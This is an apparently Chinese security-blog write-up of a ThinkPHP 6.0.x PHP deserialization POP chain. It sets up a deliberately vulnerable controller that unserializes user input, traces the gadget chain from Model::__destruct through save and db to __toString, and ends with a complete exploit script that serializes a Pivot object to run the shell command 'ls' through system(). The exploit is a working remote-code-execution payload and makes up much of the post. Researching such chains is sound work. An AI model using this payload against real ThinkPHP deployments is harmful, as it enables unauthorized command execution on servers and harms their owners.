ThinkPHP 6.0.x反序列化
前言
继续补坑
环境搭建
# 安装
composer create-project topthink/think=6.0.x-dev v6.0
# 开启
cd /v6.0
php think run
/app/controller/index.php
<?php
namespace app\controller;
class Index
{
public function index($input='')
{
echo $input;
unserialize($input);
}
}

__toString魔术方法触发情况
摘自p神知识星球
pop链分析
pop调用起点为Model类__destruct魔术方法,lazySave为类变量置为true,调用save方法

跟进save方法,接下来就是对这些方法瞎点点,看有没有合适的跳板。

这里直接跟进updateData方法,$this->exists可控置为true调用之.

跟进checkAlloFields方法,$table变量三元表达式调用了字符串拼接且参数可控,可以调用__toSring方法.但是先得经过$this->db()调用。

跟进db方法,可以发现这里也存在字符串拼接,$this->name 和 $this->suffix。就利用这里的方法调用__toString

首先得构造$this->db ,全局搜索包含buildQuery方法。定位到Db类,还需要构造传入的$this->connection参数不使得程序报错。

$this->connection需要满足
- 数组
$config['type']\think\db\connector0命名空间,全局搜索结果只有mysql符合


后面就开始进入字符串拼接,和thinkphp5.2相同就不在赘述
exp
<?php
namespace think{
class Db{
}
}
namespace think\model\concern {
trait Conversion{
protected $visible;
}
trait RelationShip{
private $relation;
}
trait Attribute{
private $withAttr;
private $data;
}
}
namespace think{
abstract class Model{
use model\concern\Conversion;
use model\concern\Attribute;
private $lazySave;
private $exists;
protected $name;
protected $db;
protected $connection;
function __construct($data,$obj)
{
$this->lazySave=true;
$this->exists=true;
$this->data=$data;
$this->db=$obj;
$this->relation = [];
$this->visible= [];
$this->name=$this;
$this->withAttr = array("paper"=>'system');
$this->connection = ["type"=>"mysql"];
}
}
}
namespace think\model{
class Pivot extends \think\Model{
public function __construct($data,$obj)
{
parent::__construct($data,$obj);
}
}
}
namespace{
$db = new think\Db();
$pivot2 = new think\model\Pivot(['paper'=>'ls'],$db);
echo urlencode(serialize($pivot2));
}

pop链条
后半条和thinkphp 5.2相同不再赘述

本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!